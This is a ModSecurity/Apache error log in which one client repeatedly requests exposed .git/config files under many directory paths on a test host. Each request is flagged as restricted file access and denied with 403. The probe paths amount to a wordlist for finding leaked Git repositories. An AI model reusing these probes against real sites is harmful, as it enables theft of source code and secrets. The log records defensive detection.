[Sat May 25 00:07:45.763904 2024] [:error] [pid 3454965] [client 91.215.85.43:49778] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v4/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHugAAAAE"]
[Sat May 25 00:07:45.765937 2024] [:error] [pid 3454967] [client 91.215.85.43:49812] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKQAAAAM"]
[Sat May 25 00:07:45.766351 2024] [:error] [pid 3454967] [client 91.215.85.43:49812] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKQAAAAM"]
[Sat May 25 00:07:45.766747 2024] [:error] [pid 3454967] [client 91.215.85.43:49812] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKQAAAAM"]
[Sat May 25 00:07:45.823110 2024] [:error] [pid 3454966] [client 91.215.85.43:49780] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/build/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLgAAAAI"]
[Sat May 25 00:07:45.823639 2024] [:error] [pid 3454966] [client 91.215.85.43:49780] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/build/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLgAAAAI"]
[Sat May 25 00:07:45.823986 2024] [:error] [pid 3454966] [client 91.215.85.43:49780] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/build/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLgAAAAI"]
[Sat May 25 00:07:45.827107 2024] [:error] [pid 3454968] [client 91.215.85.43:49830] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKiAAAAAQ"]
[Sat May 25 00:07:45.827671 2024] [:error] [pid 3454968] [client 91.215.85.43:49830] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKiAAAAAQ"]
[Sat May 25 00:07:45.827992 2024] [:error] [pid 3454968] [client 91.215.85.43:49830] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKiAAAAAQ"]
[Sat May 25 00:07:45.829094 2024] [:error] [pid 3455036] [client 91.215.85.43:49822] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v3/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdQAAAAY"]
[Sat May 25 00:07:45.829546 2024] [:error] [pid 3455036] [client 91.215.85.43:49822] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v3/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdQAAAAY"]
[Sat May 25 00:07:45.829855 2024] [:error] [pid 3455036] [client 91.215.85.43:49822] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v3/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdQAAAAY"]
[Sat May 25 00:07:45.833203 2024] [:error] [pid 3454964] [client 91.215.85.43:49840] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQgAAAAA"]
[Sat May 25 00:07:45.833381 2024] [:error] [pid 3454964] [client 91.215.85.43:49840] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQgAAAAA"]
[Sat May 25 00:07:45.833528 2024] [:error] [pid 3454964] [client 91.215.85.43:49840] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQgAAAAA"]
[Sat May 25 00:07:45.848957 2024] [:error] [pid 3454974] [client 91.215.85.43:49862] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v3/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrgAAAAU"]
[Sat May 25 00:07:45.849368 2024] [:error] [pid 3454974] [client 91.215.85.43:49862] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v3/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrgAAAAU"]
[Sat May 25 00:07:45.849749 2024] [:error] [pid 3454974] [client 91.215.85.43:49862] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v3/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrgAAAAU"]
[Sat May 25 00:07:45.860518 2024] [authz_core:error] [pid 3454967] [client 91.215.85.43:49858] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.git
[Sat May 25 00:07:45.868788 2024] [:error] [pid 3454965] [client 91.215.85.43:49846] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/wp-content/themes/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHuwAAAAE"]
[Sat May 25 00:07:45.869297 2024] [:error] [pid 3454965] [client 91.215.85.43:49846] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/wp-content/themes/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHuwAAAAE"]
[Sat May 25 00:07:45.869691 2024] [:error] [pid 3454965] [client 91.215.85.43:49846] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/wp-content/themes/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHuwAAAAE"]
[Sat May 25 00:07:45.924259 2024] [:error] [pid 3454968] [client 91.215.85.43:49868] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKiQAAAAQ"]
[Sat May 25 00:07:45.925068 2024] [:error] [pid 3454968] [client 91.215.85.43:49868] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKiQAAAAQ"]
[Sat May 25 00:07:45.925475 2024] [:error] [pid 3454968] [client 91.215.85.43:49868] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKiQAAAAQ"]
[Sat May 25 00:07:45.929688 2024] [:error] [pid 3454966] [client 91.215.85.43:49878] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLwAAAAI"]
[Sat May 25 00:07:45.930266 2024] [:error] [pid 3454966] [client 91.215.85.43:49878] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLwAAAAI"]
[Sat May 25 00:07:45.932985 2024] [:error] [pid 3454964] [client 91.215.85.43:49900] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQwAAAAA"]
[Sat May 25 00:07:45.933283 2024] [:error] [pid 3454964] [client 91.215.85.43:49900] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQwAAAAA"]
[Sat May 25 00:07:45.933507 2024] [:error] [pid 3454964] [client 91.215.85.43:49900] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQwAAAAA"]
[Sat May 25 00:07:45.935027 2024] [:error] [pid 3455036] [client 91.215.85.43:49886] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdgAAAAY"]
[Sat May 25 00:07:45.935192 2024] [:error] [pid 3455036] [client 91.215.85.43:49886] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdgAAAAY"]
[Sat May 25 00:07:45.935362 2024] [:error] [pid 3455036] [client 91.215.85.43:49886] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdgAAAAY"]
[Sat May 25 00:07:45.935802 2024] [:error] [pid 3454966] [client 91.215.85.43:49878] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLwAAAAI"]
[Sat May 25 00:07:45.942927 2024] [:error] [pid 3454974] [client 91.215.85.43:49916] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrwAAAAU"]
[Sat May 25 00:07:45.943114 2024] [:error] [pid 3454974] [client 91.215.85.43:49916] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrwAAAAU"]
[Sat May 25 00:07:45.943254 2024] [:error] [pid 3454974] [client 91.215.85.43:49916] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrwAAAAU"]
[Sat May 25 00:07:45.959452 2024] [:error] [pid 3454967] [client 91.215.85.43:49926] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /demo/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKwAAAAM"]
[Sat May 25 00:07:45.959753 2024] [:error] [pid 3454967] [client 91.215.85.43:49926] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKwAAAAM"]
[Sat May 25 00:07:45.959941 2024] [:error] [pid 3454967] [client 91.215.85.43:49926] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKwAAAAM"]
